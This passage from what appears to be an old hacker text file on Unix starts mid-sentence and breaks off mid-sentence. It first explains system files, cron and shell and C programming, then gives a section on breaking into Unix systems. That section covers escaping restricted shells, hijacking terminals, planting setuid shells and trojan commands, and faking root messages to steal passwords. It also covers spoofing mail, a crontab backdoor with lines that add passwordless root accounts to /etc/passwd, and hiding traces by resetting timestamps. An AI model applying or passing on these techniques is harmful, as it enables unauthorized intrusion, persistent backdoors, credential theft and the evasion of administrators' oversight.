:: + :,21: + The first entry means that the account has no password. The + second entry means that the account has no password yet, but + has a fixed expiration date that wil begin as soon as a pass- + word is given to it. + Now, for an explanation of how the Unix system encrypts + the passwords. The first thing any hacker thinks of is trying + decrypt the password file. This is as close to impossible as + anything gets in this world. I've often heard other "hackers" + brag about doing this...this is the biggest lie since Moses + said "I did it". The encryption scheme is a variation on the + DES (Data Encryption Standard). When you enter the command + passwd (to change the password), the system will form a 2 + character "salt string" based on the process number of the + password command you just issued. This 2-character string pro- + duces a slight change in the way the password is encrypted. + There are a total of 4096 different variations on the + encryption scheme caused by different salt string characters. + This is NOT the same encryption scheme used by the crypt + utility. The password is NEVER decrypted on the system. When + you log on, the password you enter at the password prompt is + encrypted (the salt string is taken from the password file) + and compared to the encrypted entry in the password file. The + system generates its own key, and as of yet, I have not + discovered any way to get the key. The login program does + not encrypt the password you enter itself, it does so, I + believe, by a system call. + +/etc/group -This is the group file. This allows the superuser to give + certain accounts group access to groups other than their own. + Entries are in the format: + + group name:password:group number:users in this group + + The first field is the name of the group. The second is the + field for the group password. In all my experience with Unix, + I have never seen the password feature used. The third is the + group's number. The fourth field is a list of the users who + group access to this group. (Note: this can include users whose + group number is different from the number of the group whose + entry you are reading in the group file.) The usernames are + separated by commas. Here's an example: + + sys::2:root,sys,adm,lp + + To change to a new group identity, type "newgrp [group]". If + the group has a password, you must enter the proper password. + You cannot change to another group if you are not listed as a + member of that group in the group file. + + +/dev/console -This is the device file for the system console, or the + system's main terminal. + +/dev/tty## -The device files for the system's terminals are usually in + the form tty##, such as tty09, and sometimes ttyaa,ttyab, etc. + Some ways to make use of the Unix system's treatment of devices + as files will be explored in the section on Hacking Unix. When + these files are not in use by a user (in other words, no one's + logged onto this terminal), the file is owned by root. While a + user is logged onto a terminal, however, ownership of its + device file is temporarily transferred to that account. + +/dev/dk## -These are the device files for the system's disks. + +login files -There are special files that are in a user's home directory + that contain commands that are executed when the user logs in. + The name of the file depends on what shell the user is using. + Here are the names of the files for the various shells: + + Shell File + ----- ---- + sh .profile + csh .cshrc + ksh .login + rsh .profile + + Some systems also use a file called ".logout" that contains + commands which are executed upon logoff. + These types of files are called shell scripts, and will + will be explained in the section on Unix Software Development's + explanation of shell programming. +/usr/adm/sulog -This is a log of all attempted uses of the su utility. It + shows when the attempt was made, what account made it, and + which account the user attempted to assume, and whether or not + the attempt was successful. +/usr/adm/loginlog + or +/usr/adm/acct/sum/loginlog- This is a log of all logins to the system. This + only includes the time and the account's username. + +mbox -These are files in the home directories of the system's users, + that contain all the mail messages that they have saved. + +/usr/mail/ -These files in the directory /usr/mail are named after + system accounts. They contain all the unread mail for + the account they are named after. +/dev/null -This is the null device file. Anything written to this file is + just lost forever. Any attempt to read this file will result in + an immediate control-D (end of file) character. +/tmp -The directory /tmp provides storage space for temporary files created + by programs and other processes. This directory will always have + rwxrwxrwx permissions. Examining these files occasionally reveals some + interesting information, and if you know what program generates them + and the format of the information in the file, you could easily change + the info in the files, thereby changing the outcome of the program. + +THE CRON UTILITIES +------------------ + An understanding of the cron utilities will be necessary to understand +certain parts of the section on Hacking Unix. This section will give a detailed +explanation of the workings of the cron utilities. + The cron utility is a utility which carries out tasks which must be +performed on a periodic basis. These tasks, and the times when they are to be +carried out, are kept in files in 2 directories: /usr/lib and +/usr/spool/cron. + The file crontab in the directory /usr/lib contains entries for system +tasks that must be performed on a periodic basis. The format for the entries in +this file is: + +minute hour dayofmonth monthofyear dayofweek commandstring + +The first field is the minutes field. This is a value from 0-59. +The second field is the hour field, a value from 0-23. +The third field is the day of the month, a value from 1-31. +The fifth field is the month of the year, a value from 1-2. +The sixth field is the day of the week, a value from 1-7, with monday being 1. +The seventh field is the pathname and any arguments of the task to be carried +out. + +An asterisk in a field means to carry out the task for every value of that +field. For instance, an asterisk in the minutes field would mean to carry out +that task every minute. Here's an example crontab entry: + +0 1 * * * /bin/sync + +This runs sync command, which is kept in the directory bin, at 1 am every day. +Commands in the file /usr/lib/crontab are performed with root privileges. + in the directory /usr/spool/crontabs, you will find files named after +system accounts. These files contain cron entries which are the same as those +in the file /usr/lib/crontab, but are carried out under the id of the user the +file is named after. The entries are in the same format. + +BEWARE! When modifying cron files- cron activity is logged! All cron activity +is logged in the file /usr/adm/cronlog. I've found, however, that on most +systems, this file is almost never checked. + +UNIX SOFTWARE DEVELOPMENT +------------------------- + The Unix operating system was initially created as an enviroment for +software development, and that remains its main use. This section will detail +some of the os's main facilities for software development, the C compiler and +shell programming, and their related utilities. A few of the other languages +will be briefly touched upon at the end of this section, also. + +SHELL PROGRAMMING +----------------- + The shell is more than a simple command interpreter. It is also a +sophisticated programming tool, with variables, control structures, and the +features of just about any other programming language. Shell programs are +called scripts. Scripts are just text files which contain the names of commands +and programs. When the script is executed, the command and programs whose names +it contains are executed as if you had typed in their names from your keyboard. +There are two ways to execute a shell script: if you have execute permission to +it, you can simply type in its name. Otherwise, (if you have read access to +it), you can type "sh [filename]". Here is a sample shell script: + +who +whoami + +As you can see, it contains the commands who and whoami. When you execute it, +you will see a list of the system's current users (the output of the who +command), and which account you are logged in under (the output of the whoami +command). + This will concentrate solely on shell programming. While shell +programming is essentially the same with all the shells, there are slight +syntax differences that make shell scripts incompatible with shells that they +were not specifically written for. + +SHELL VARIABLES +--------------- + Like any programming language, the shell can handle variables. To set +the value of a variable, type: + +[variable]=[value] + +For example: + +counter=1 + +This will assign the value "1" to the variable counter. If the variable counter +does not already exist, the shell will create it. Note, that there are no +"numeric" variables in shell programming- all the variables are strings. For +instance, we could later type: + +counter=This is a string + +And counter would now be equal to "This is a string". There is a command called +"expr", however, that will let you treat a variable as a numeric value, and +will be explained later. + When setting the value of a variable, you only use the variable name. +When you specify a variable as an argument to a command or program, however, +you must precede the variable with a dollar sign. For instance: + +user=root + +Now, we want to specify user as an argument to the command "ps -u". We would +type: + +ps -u$user + +Which would, of course, display the processes of the user "root". + +SPECIAL SHELL VARIABLES +----------------------- + There are certain vaiables which are already pre-defined by the shell, +and have special meaning to it. Here is a list of the more important ones and +their meanings to the shell: + +HOME -(Notice the caps. All pre-defined variables are in all-caps.) This + variable contains the pathname of the user's home directory. + +PATH -This is a good time to explain something which makes Unix a very + unique operating system. In Unix, there are no commands "built-in" to + the operating system. All the commands are just regular programs. The + PATH variable contains a list of the pathnames of directories. When you + type in the name of a command or program, the shell searches through + the directories listed in the PATH variable (in the order specified in + the variable) until it finds a program with the same name as the name + you just typed in. The format for the list of directories in the PATH + variable is: + + [pathname]:[pathname]:[pathname]... + + For example, the default searchpath is usually: + + /bin:/usr/bin:/usr/local + + A blank entry in the pathname, or an entry for ".", means to check the + directory the user is currently in. For instance, all these paths + contain blank or "." entries: + + .:/bin:/usr/bin [Notice . at begginning of path] + :/bin:/usr/bin [Notice that path begins with :] + /bin:/usr/bin: [Note that path ends with : ] + +PS1 -This variable contains the shell prompt string. The default is usually + "$" ("&" if you're using BSD Unix). If you have the "&" prompt, and + wish to have the dollar sign prompt instead, just type: + + PS1=$ + +TERM -This contains the type of terminal you are using. Common terminal + types are: + + ansi vt100 vt52 vt200 ascii tv150 + + And etc... Just type "TERM=[termtype]" to set your terminal type. + +COMMAND LINE VARIABLES +---------------------- + Command line variables are variables whose values are set to arguments +entered on the command line when you execute the shell script. For instance, +here is a sample shell script called "repeat" that uses command line variables: + +echo $1 +echo $2 +echo $3 + +The echo command prints out the values following it. In this case, it will +print out the values of the variables $1, $2, and $3. These are the command +line variables. For instance, $1 contains the value of the first argument you +entered on the command line, $2 contains the second, $3 contains the third, an +so on to infinity. Now, execute the script: + +repeat apples pears peaches + +The output from the "repeat" shell script would be: + +apples +pears +peaches + +Get the idea? + +SPECIAL COMMAND LINE VARIABLES +------------------------------ + There are 2 special command line variables, $O and $#. $O contains the +name of command you typed in (in the last example, $O would be repeat). $# +contains the number of arguments in the command line. (In the last example, $# +would be 3.) + +SPECIAL COMMANDS FOR SHELL PROGRAMS +----------------------------------- + These commands were added to the Unix os especially for shell +programming. This section will list them, their syntax, and their uses. + +read -This command reads the value of a variable from the terminal. The + format is: "read [variable]". For example, "read number". The variable + is not preceded by a dollar sign when used as an argument to this com- + mand. + +echo -This command displays information on the screen. For example, + "echo hello" would display "hello" on your terminal. If you specify + a variable as an argument, it must be preceded by a dollar sign, for + example "echo $greeting". + +trap -This command traps certain events, such as the user being disconnected + or pressing the break key, and tells what commands to carry out if they + occur. The format is: trap "commands" eventcodes. the event codes are: + 2 for break key, and 1 for disconnect. You can specify multiple com- + mands with the quotation marks, separating the commands with a semi- + colon (";"). For example: + + trap "echo 'hey stupid!'; echo 'don't hit the break key'" 2 + + Would echo "Hey stupid!" and "Don't hit the break key" if the user hits + the break key while the shell script is being executed. + +exit -This command terminates the execution of a shell procedure, and ret- + urns a diagnostic value to the enviroment. The format is: + "exit [value]", where value is 0 for true and 1 for false. The meaning + of the value parameter will become clear later, in the section on + the shell's provisions for conditional execution. If the shell script + being executed is being executed by another shell script, control is + passed to the next highest shell script. + +ARITHMETIC WITH EXPR +-------------------- + The expr command allows you to perform arithmetic on the shell +variables, and sends the output to the screen. (Though the output may be +redirected.) The format is: + +expr [arg] [function] [arg] [function] [arg]... + +Where [arg] may be either a value, or a variable (preceded by a dollar sign), +and [function] is an arithmetic operation, one of the following: + ++ -Add. +- -Subtract. +\* -Multiply. +/ -Divide. +% -Remainder from a division operation. + +For example: + +$ num1=3 +$ num2=5 +$ expr num1 + num2 + 8 +$ + +TEXT MANIPULATION WITH SORT +--------------------------- + The sort command sorts text by ASCII or numeric value. The command +format is: + +sort [field][option]... file + +where file is the file you wish to sort. (The sort command's input may be +redirected, though, just as its output, which is ordinarily to the screen, can +be.) The sort command sorts by the file's fields. If you don't specify any +specific field, the first field is assumed. for example, say this file +contained names and test scores: + +Billy Bob 10 +Tom McKann 5 +Doobie Kairful 20 + +the file's fields would be first name, last name, and score. So, to sort the +above file (called "students") by first name, you would issue the command: + +sort students + +And you would see: + +Billy Bob 10 +Doobie Kairful 20 +Tom McKann 5 + +If you wanted to sort the file's entries by another field, say the second field +of the file "students" (last names), you would specify: + +sort +1 students + +The +1 means to skip ahead one field and then begin sorting. Now, say we wanted +to sort the file by the 3rd field (scores). We would type: + +sort +2 students + +to skip 2 fields. But the output would be: + +Billy Bob 10 +Tom McKann 5 +Doobie Kairful 20 + +Notice that the shorter names came first, regardless of the numbers in the +second field. There is a reason for this- the spaces between the second and 3rd +fields are considered to be part of the 3rd field. You can tell the sort +command to ignore spaces when sorting a field, however, using the b option. The +format would be: + +sort +2b students + +but...another error! The output would be: + +Billy Bob 10 +Doobie Kairful 20 +Tom McKann 5 + +Why did the value 5 come after 10 and 20? Because the sort command wasn't +really sorting by numeric value- it was sorting by the ASCII values of the +characters in the third field, and 5 comes after the digits 1 and 2. We could +specify that the field be treated by its numerical value by specifying the n +option: + +sort +2n students + +Output: + +Tom McKann 5 +Billy Bob 10 +Doobie Kairful 20 + +Notice that if we use the n option, blanks are automatically ignored. + +We can also specify that sort work in the reverse order on a field. For +example, if we wanted to sort by last names in reverse order: + +sort +1r students + +Output: + +Tom McKann 5 +Doobie Kairful 20 +Billy Bob 10 + +By using pipes, you can direct the output of one sort command to the input of +yet another sort command, thus allowing you to sort a file by more than one +field. This makes sort an excellent tool for text manipulation. It is not, +however, the only one. Remember, you can use any Unix command or program in a +shell script, and there are many different commands for text manipulation in +Unix, such as grep (described in an earlier section on basic commands). +Experiment with the different commands and ways of using them. + +LOOPING +------- + The for/do loop is a simple way to repeat a step for a certain number +of times. The format is: + +for [variable] in [values] +do [commands] +done + +You do not precede the variable with a dollar sign in this command. The for/do +loop works by assigning the variable values from the list of values given, one +at a time. For example: + +for loopvar in 1 2 3 5 6 7 +do echo $loopvar +done + +On the first pass of the loop, loopvar would be assigned the value 1, on the +second pass 2, on the third pass 3, on the fourth pass 5, on the fifth pass 6, +and on the sixth pass 7. I skipped the number 4 to show that you do not have to +use values in numerical order. In fact, you don't have to use numerical +arguments. You could just as easily have assigned loopvar a string value: + +for loopvar in apples peaches pears +do echo "This pass's fruit is:" + echo $loopvar +done + +Note that you can also specify multiple commands to be carried out in the do +portion of the loop. + +SELECTIVE EXECUTION WITH CASE +----------------------------- + The case command allows you to execute commands based on the value of a +variable. The format is: + +case [variable] in + + [value]) commands + commands + commands;; + [value2]) commands + commands;; + [value3]) ...and so on + esac + +For example: + +case $choice in + 1) echo "You have chosen option one." + echo "This is not a good choice.";; + + 2) echo "Option 2 is a good choice.";; + + *) echo "Invalid option.";; + esac + +Now, to explain that: + If the variable choice's value is "1", the commands in the section for +the value 1 are carried out until a pair of semicolons (";;") is found. The +same if the value of choice is "2". Now, note the last entry, "*". This is a +wildcard character. This means to execute the commands in this section for any +other value of choice. Easac signals the end of the list of execution options +for case. + +DETERMINING TRUE/FALSE CONDITIONS WITH TEST +------------------------------------------- + The test command tests for various conditions of files and variables +and returns either a true value (0) or a false value (1), which is used in +conjuction with the if/then statements to determine whether or not a series of +commands are executed. There are several different formats for test, depending +on what kind of condition you are testing for. When using variables with test, +you must always precede the variable with a dollar sign. + +NUMERIC TESTS +------------- +Format: +test [arg1] option [arg2] + +the arguments can either be numbers or variables. + +OPTIONS TESTS TRUE IF +------- ------------- +-eq arg1=arg2 +-ne arg1<>arg2 +-gt arg1>arg2 +-lt arg1=arg2 +-le arg1<=arg2 + +FILETYPE TESTS +------------- +Format: +test [option] file or directory name + +OPTIONS TESTS TRUE IF +------- ------------- +-s file or directory exists and is not empty +-f the "file" is a file and not a directory +-d the "file" is really a directory +-w the user has write permission to the file/directory +-r the user has read permission to the file/directory + +CHARACTER STRING TESTS +---------------------- +Format: +test [arg1] option [arg2] +The arguments can be either strings of characters or variables with character +string values. + +OPTIONS TESTS TRUE IF +------- ------------- += arg1=arg2 +!= arg<>arg2 + +A note here about string tests. You must enclose the names of the variables in +quotation marks (like "$arg1") if you wish the test to take into consideration +spaces, otherwise space characters are ignored, and " blue" would be +considered the same as "blue". + +TESTING FOR THE EXISTANCE OF A STRING OF CHARACTERS +--------------------------------------------------- +Format: +test [option] arg +Arg is a variable. + +OPTIONS TESTS TRUE IF +------- ------------- +-z variable has a length of 0 +-n variable has a length greater than 0 + +COMBINING TESTS WITH -A AND -O +------------------------------ + These options stand for "and" (-a) and "or" (-o). They allow you to +combine tests, for example: + +test arg1 = arg2 -o arg1 = arg3 + +means that a true condition is returned if arg1=arg2 or arg1=arg3. + + +CONDITIONAL EXECUTION WITH IF/THEN/ELSE/ELIF +-------------------------------------------- +Format: +if [this condition is true] +then [do these commands] +fi + +Example: + +if test arg1 = arg2 +then echo "argument 1 is the same as argument 2" +fi + +This is pretty much self-explanatory. If the condition test on the if line +returns a true value, the the commands following "then" are carried out until +the fi statement is encountered. + +Format: +if [this condition is true] +then [do these commands] +else [do these commands] +fi + +Again, pretty much self explanatory. The same as the above, except that if the +condition isn't true, the commands following else are carried out, until fi is +encountered. + +Format: +if [this condition is true] +then [do these commands] +elif [this condition is true] +then [do these commands] +fi + +The elif command executes another condition test if the first condition test is +false, and if the elif's condition test returns a true value, the command for +its then statement are then carried out. Stands for "else if". + +WHILE/DO LOOPS +-------------- +Format: +while [this condition is true] +then [do these commands] +done + +Repeats the commands following "then" for as long as the condition following +"while" is true. Example: + +while test $looper != "q" +then read looper + echo $looper +done + +while will read the value of the variable looper from the keyboard and display +it on the screen, and ends if the value of looper is "q". + +SUMMARY +------- + This small tutorial by no means is a complete guide to shell +programming. Look at shell scripts on the systems you crack and follow their +examples. Remember, that you can accomplish a great deal by combining the +various control structures (such as having an if/then conditional structure +call up a while/do loop if the condition is true, etc.) and by using I/O +redirection, pipes, etc. My next Unix file will cover more advanced shell +programming, and examine shell programming on another popular shell, the +Berkely C shell. + +THE C COMPILER +-------------- + C is sort of the "official" language of Unix. Most of the Unix +operating system was written in C, and just about every system I've ever been +on had the C compiler. The command to invoke the c compiler is cc. The format +is "cc [filename]", where filename is the name of the file which contains the +source code. (The filename must end in .c) You can create the source code file +with any of the system's text editors. The include files, stdio.h and others, +are kept in a directory on the system. You do not have to have a copy of +these files in your current directory when you compile the file, the compiler +will search this directory for them. If you wish to include any files not in +the include library, they must be in your current directory. The compiled +output will be a file called "a.out" in your current directory. + +COMPILING INDIVIDUAL MODULES +---------------------------- + If you're working on a very large program, you will probably want to +break it up into small modules. You compile the individual modules with the -c +option, which only generates the object files for the module. Then, use the +link editor to combine and compile the object files. The object files will be +generated with the same name as the source files, but the file extension will +be changed from .c to .o When you have created all the object files for all +of the modules, combine them with the ld (link editor) like this: + +ld /lib/crtO.o [module] [module]... -lc + +which will give you the final, compiled program, in a file named a.out. For +example: + +ld /lib/crtO.o part1.o part2.o -lc + +You must remeber to include /lib/crtO.o and the -lc parts in the command, in +the order shown. Also, the object files must be specified in the ld command +in the order that they must be in the program (for instance, if part1 called +part2, part2 can't be BEFORE part1). + +CHECKING FOR ERRORS IN C PROGRAMS +--------------------------------- + The lint command checks for errors and incompatibility errors in C +source code. Type "lint [c source-code file]". Not all of the messages returned +by lint are errors which will prevent the program from compiling or executing +properly. As stated, it will report lines of code which may not be +transportable to other Unix systems, unused variables, etc. + +C BEAUTIFIER +------------ + The cb (C beautifier) program formats C source code in an easy to read, +"pretty" style. The format is "cb [file]". The output is to the screen, so if +you want to put the formatted source code into a file, you must redirect the +output. + +SPECIAL C COMMANDS +------------------ + The Unix C compiler has a command called system that executes Unix +commands and programs as if you had typed in the commands from the keyboard. +The format is: + +system("command line") + +Where command line is any command line you can execute from the shell, such as: + +system("cat /etc/passwd") + +Another command which performs a similar function is execvp. The format is: + +execvp("command") + +An interesting trick is to execute a shell program using execvp. This will make +the program function as a shell. + +HACKING THE UNIX SYSTEM +----------------------- + This is it, kiddies, the one you've waded through all that rodent +nonsense for! This section will describe advanced hacking techniques. Most of +these techniques are methods of defeating internal security (I.E. security once +you're actually inside the system). There is little to be said on the subject +of hacking into the system itself that hasn't already been said in the earlier +sections on logging in, Unix accounts, and Unix passwords. I will say this +much- it's easier, and faster, to password hack your way from outside the +system into a user account. Once you're actually inside the system, you will +find it, using the techniques described in this section, almost easy to gain +superuser access on most systems. (Not to mention that nothing is quite as +rewarding as spending 3 days hacking the root account on a system, only to +receive the message "not on console-disconnecting" when you finally find the +proper password.) If you do not have a good understanding of the Unix operating +system and some of its more important utilities already, you should read the +earlier parts of this file before going on to this section. + +OVERCOMING RSH RESTRICTIONS +--------------------------- + The rsh (restricted Bourne shell) shell attempts to limit the commands +available to a user by preventing him from executing commands outside of his +searchpath, and preventing him from changing directories. It also prevents you +from changing the value of shell variables directly (i.e. typing +"variable=value"). There are some easy ways to overcome these restrictions. + You can reference any file and directory in the system by simply using +its full pathname. You can't change directories like this, or execute a file +that is outside of your searchpath, but you can do such things as list out the +contents of directories, edit files in other directories, etc. (If you have +access to the necessary commands.) + The biggest flaw in rsh security is that the restrictions that are +described above ignored when the account's profile file is executed upon logon. +This means that, if you have access to the edit command, or some other means of +modifying your account's profile, you can add a line to add a directory to your +searchpath, thereby letting you execute any programs in that directory. The +restriction on changing directories is also ignored during logon execution of +the profile. So, if you absolutely, positively HAVE to go to another directory, +you can add a cd command your .profile file. + +OVERCOMING COPY AND WRITE RESTRICTIONS +-------------------------------------- + This is a simple trick. If you have read access t a file, but cannot +copy it because of directory protections, simply redirect the output of the cat +command into another file. If you have write access to a directory but not +write access to a specific file, you can create a copy of the file, modify it +(since it will be owned by your account), delete the original, and rename the +copy to the name of the original. + +DETACHED ACCOUNTS +----------------- + This is a big security hole in many Unix systems. Occasionally, if a +user is disconnected without logging off, his account may remain on-line, and +still attached to the tty he was connected to the system through. Now, if +someone calls to the system and and gets connected to that tty, he is +automatically inside the system, inside the disconnected user's account. There +are some interesting ways to take advantage of this flaw. For instance, if you +desire to gain the passwords to more account, you can set a decoy program up to +fake the login sequence, execute the program, and then disconnect from the +system. Soon, some unlucky user will call the system and be switched into the +detached account's tty. When they enter their username and password, the decoy +will store their input in a file on the system, display the message "login +incorrect", and then kill the detached account's shell process, thus placing +the user at the real login prompt. A Unix decoy written by Shooting Shark will +be given at the end of this file. + +UID SHELLS +---------- + When the uid bit is set on a shell program, executing this shell will +change your user id to the user id of the account that owns the shell file, and +you will have full use of that account, until you press control-d (ending the +second shell process) and return to your normal user id. This gives you the +power to execute any commands under that account's user id. This is better than +knowing the account's password, since as long as the file remains on the +system, you can continue to make use of that account, even if the password is +changed. When I gain control of an account, I usually make a copy of the shell +while logged in under that account in a nice, out of the way directory, and set +its uid and gid bits. That way, if I should happen to lose the account (for +instance, if the password were changed), I could log in under another account +and still make use of the lost account by executing the uid shell. + +FORCED DETACHING +---------------- + This is an easy means of gaining the use of an account on systems with +the detached account flaw. Usually, most terminal device files will have public +write permission, so that the user that logs in under it can receive messages +via write (unless he turns off messages with the mesg n command). This means +that you can cat a file into the user's terminal device file. A compiled file, +full of all kinds of strange control characters and garbage, works nicely. Say, +the user is logged in on tty03. Just type cat /bin/sh > /dev/tty03. The user +will see something like this on his screen: + +LKYD;uiayh;fjahfasnf kajbg;aev;iuaeb/vkjeb/kgjebg;iwurghjiugj;di vd +b/fujhf;shf;j;kajbv;jfa;vdblwituwoet8y6- +2958ybp959vqvq43p8ytpgyeerv98tyq438pt634956b v856 -868vcf-56- +e8w9v6bc[6[b6r8wpcvt + +Hehehe! Now, the poor devil is confused. He tries to press break- no response, +and the garbage just keeps coming. He tries to enter various commands, to no +avail. Catting a file into his terminal device file "ties it up", so to speak, +and since this is the file through which all I/O with his terminal is done, he +finds it almost impossible to get any input through to the shell. He can't even +log off! So, in desperation, he disconnects... It is best to execute the cat +command as a background process, so that you can keep an eye on the users on +the system. Usually, the user will call the system back and, unless he gets +switched back into his old detached account (in which case he will usually hang +up again), he will kill the detached account's login process. So, if you see 2 +users on the system using the same username, you know he's logged back in +already. Anyways...after an appropriate length of time, and you feel that he's +disconnected, log off and call the system back a few times until you get +switched into the detached account. Then just create a uid shell owned by the +account and you can use it any time you please, even though you don'tknow the +password. Just remember one thing, though-when the cat command has finished +displaying the compiled file on the victim's screen, if he is still logged on +to that terminal, he will regain control. Use a long file! + +FAKING WRITE MESSAGES +--------------------- + Being able to write to other people's terminal files also makes it +possible to fake write messages from any user on the system. For example, you +wish to fake a message from root. Edit a file to contain these lines: +Message from root console ^g [note control-g (bell) character] +Bill, change your password to "commie" before logging off today. There has been +a security leak. + [don't forget to put this--in the file.] +Now, type "who" to find bill's tty device, and type: + +cat [filename] > /dev/ttyxx + +Bill will see: + +Message from root console [beep!] +Bill, change your password to "commie" before logging off today. There has been +a security leak. + + +WHEN FILE PERMISSIONS ARE CHECKED +--------------------------------- + Unix checks file permissions every time you issue a write or execute +command to a file. It only checks read permissions, however, when you first +issue the read command. For instance, if you issued the command to cat the +contents of a file, and someone changed the file's permissions so that you did +not have read permission while the process was still being executed, the cat +command would continue as normal. + +ONLINE TERMINAL READING +----------------------- + You can also, if you have some means of assuming an account's userid, +(such as having a uid shell for that account), you can read the contents of +someone's terminal on-line. Just execute the uid shell and type "cat +/dev/ttyxx &" (which will execute the cat command in the background, which will +still display the contents to your screen, but will also allow you to enter +commands). Once the person logs off, ownership of his terminal device file will +revert to root (terminal device files are temporarily owned by the account +logged in under them), but since you had the proper permissions when you +started the read process, you can still continue to view the contents of that +terminal file, and can watch, online, as the next use logs in. There is also +one other trick that can sometimes be used to gain the root password, but +should be exercised as a last resort, since it involved revealing your identity +as a hacker to the superuser. On many systems, the superuser also has a normal +user account that he uses for personal business, and only uses the root account +for system management purposes. (This is, actually, a rather smart security +move, as it lessens the chances of, say, things like his executing a trojan +horse program while under the root account, which, to say the least, could be +disastrous [from his point of view].) If you can obtain a uid shell for his +user account, simply execute a read process of his terminal file in the +background (while under the uid shell), and then drop back into your normal +shell. Then send him a write message like: + +I'm going to format your winchesters + +When he uses the su command to go to the superuser account to kick you off the +system, you can sit back and watch him type in the root password. (This should +only be done if you have more than one account on the system- remember, many +systems will not let you log into a superuser account remotely, and if the only +account you have is a superuser account, you are effectively locked out of the +system.) + +MAIL FRAUD +---------- + The TCP/IP protocol is a common protocol for file transfers between +Unix systems, and between Unix and other operating systems. If the Unix system +you are on features TCP/IP file transfers, it will have the telnet program on- +line, usually in the directory /bin. This can be used to fake mail from any +user on the system. Type "telnet" to execute the telnet program. You should +see: + +Telnet> + +At this prompt, type "open [name] 25", where name is the uucp network name of +the system you are on. This will connect you to the system's 25th port, used to +receive network mail. Once connected, type: + +rcpt to: [username] + +Where username is the name of the user you wish to send mail to. Next, type: + +mail from: [user] + +Where user is the name of the use you wish the mail to appear from. You can +also specify a non-existant user. You can also fake network mail from a user on +another system. For information on the format of the address, see the section +on the uucp facilities. Then type: + +data + +You will be prompted to enter the message. Enter "." on a blank line to end and +send the mail. When you'e finished sending mail, type "quit" to exit. + + Thanks to Kid&CO. from Private Sector/2600 Magazine for that novel bit +of information. + +UNIX TROJAN HORSES +------------------ + This is an old, OLD subject, and there's little original material to +add about it. Trojan horses are programs that appear to execute one function, +but actually perform another. This is perhaps the most common means of hacking +Unix. + One of the easiest means of setting up a Unix trojan horse is to place +a program named after a system command, such as ls, "in the way" of someone's +search path. For instance, if a user's searchpath is ".:/usr/bin", which means +that the system searches the user's current directory for a command first, you +could place a shell script in the user's home directory called "ls" that, when +executed, created a copy of the shell, set the new shell file's uid and gid +bits, echo an error message (such as "lsa: not found", leading the user to +think he mistyped the command and the offending character was not echoed, due +to line noise or whatever), and delete itself. When the user executes the ls +command in his directory, the uid shell is created. Another good idea is to set +the name of the trojan to a command in the user's login file, have it make the +uid shell, execute the real command, and then delete itself. + Another good way to set up a trojan horse is to include a few lines in +a user's login file. Simply look at the user's password file entry to find out +which shell he logs in under, and then modify the appropriate login file (or +create one if it doesn't exist) to create a uid shell when the user logs on. + If you can modify a user's file in the directory +/usr/spool/cron/crontabs, you can add an entry to create a uid shell. Just +specify * * * * * as the times, and wait about 1-2 minutes. In 1 minute, the +cron utility will execute the commands in the user's crontab file. Then you can +delete the entry. Again, if the user doesn't have a file in +/usr/spool/cron/crontabs, you can create one. + One last note- be sure you give the trojan horse execute permissionsm, +otherwise the victim will receive the message "[filename]- cannot execute"... +Kind of a dead giveaway. +CHANGING UID PROGRAMS +--------------------- + If you have write access to a uid file, you can easily modify it to +become a shell. First, copy the file. Then type: + +cat /bin/sh > [uid file] + +This will replace the file's contents with a shell program, but the uid bit +will remain set. Then execute the file and create a well-hidden uid shell, and +replace the subverted uid file with the copy. + +ADDING AN ACCOUNT TO A UNIX SYSTEM +---------------------------------- + To add an account to a Unix system, you must have write access to the +password file, or access to the root account so that you can change the +password file's protections. To add an account, simply edit the file with the +text file editor, edit (or any of the other Unix editors, if you wish). Add an +entry like this: + +[username]::[user#]:[group#]:[description]:[home directory]:[pathname of shell] + +Notice that the password field is left blank. To set the password, type: + +passwd [username] + +You will then be prompted to enter and verify a password for the account. +If you wish the account to have superuser privileges, it must have a user +number of zero. +UNIX BACKDOOR +------------- + A backdoor is a means of by-passing a system's normal security for +keeping unauthorized users out. For all the talk about back doors, they are +rarely accomplished. But creating a backdoor in Unix System V is really quite +easy. It simply requires adding a few entries to the file +/usr/lib/crontab or /usr/spool/cron/crontabs/root. (Again, if the file doesn't +exist, you can create it.) Add these lines, which will create 2 accounts on the +system, one a user account ("prop") and one a superuser account ("prop2"), at +1 am system time every night, and delete them at 2 am every night. + +0 1 * * * chmod +w /etc/passwd +1 1 * * * echo "prop::1:1::/:/bin/sh" >> /etc/passwd +2 1 * * * echo "prop2::0:0::/:/bin/sh" >> /etc/passwd +20 1 * * * grep -v "prop*:" /etc/passwd > /usr/spool/uucppublic/.p +0 2 * * * cat /usr/spool/uucppublic/.p > /etc/passwd +10 2 * * * chmod -w /etc/passwd +15 2 * * * rm /usr/spool/uucppublic/.p + +COVERING YOUR TRACKS +-------------------- + Naturally, you want to keep your cover, and not leave any trace that +there is a hacker on the system. This section will give you some tips on how to +do just that. First of all, the Unix system keeps track of when a file was last +modified (see the information on the command ls -l in the section on file and +directory protections). You don't want anyone noticing that a file has been +tampered with recently, so after screwing around with a file, if at all +possible, you should return its last modified date to its previous value using +the touch command. The syntax for the touch command is: + +touch hhmmMMdd [file] + +Where hh is the hour, mm is the minute, MM is the month, and dd is the day. +[file] is the name of the file you wish to change the date on. + What usually gives hackers away are files they create on a system. If +you must create files and directories, make use of the hidden files feature. +Also, try to hide them in directories that are rarely "ls"'d, such as +/usr/spool/lp, /usr/lib/uucp, etc (in other words, directories whose contents +are rarely tampered with). + Avoid use of the mail facilities, as anyone with the proper access can +read the /usr/mail files. If you must send mail to another hacker on the +system, write the message into a text file first, and encrypt it. Then mail it +to the recipient, who can save the message without the mail header using the w +option, and decrypt it. + Rather than adding additional superuser accounts to a system, I've +found it better to add simple user accounts (which don't stand out quite as +much) and use a root uid shell (judiciously hidden in a rarely used directory) +whenever I need superuser privileges. It's best to use a user account as much +as possible, and only go to the superuser account whenever you absolutely need +superuser priv's. This may prevent damaging accidents. And be careful when +creating a home directory for any accounts you add. I've always found it better +to use existing directories, or to add a hidden subdirectory to a little- +tampered with directory. + + Many systems have "watchdog" programs which log off inactive accounts +after a certain period of time. These programs usually keep logs of this kind +of activityl. Avoid sitting on the sitting doing nothing for long periods of +time. + While using some of the methods described in this file, you may replace +a user's file with a modified copy. This copy will be owned by your account and +group instead of the account which owned the original. You can change the group +back to the original owner's group with the chgrp command, the format of which +is: + +chgrp [groupname] [file] + +And change the owner back to the original with the chown command: + +chown [user] [file] + + When you change ownership or group ownership of a file, the uid and gid +bits respectively are reset, so you can't copy the shell, set its uid bit, and +change its owner to root to gain superuser capabilities. + Above all, just be careful and watch your step! Unix is a very flexible +operating system, and even though it comes 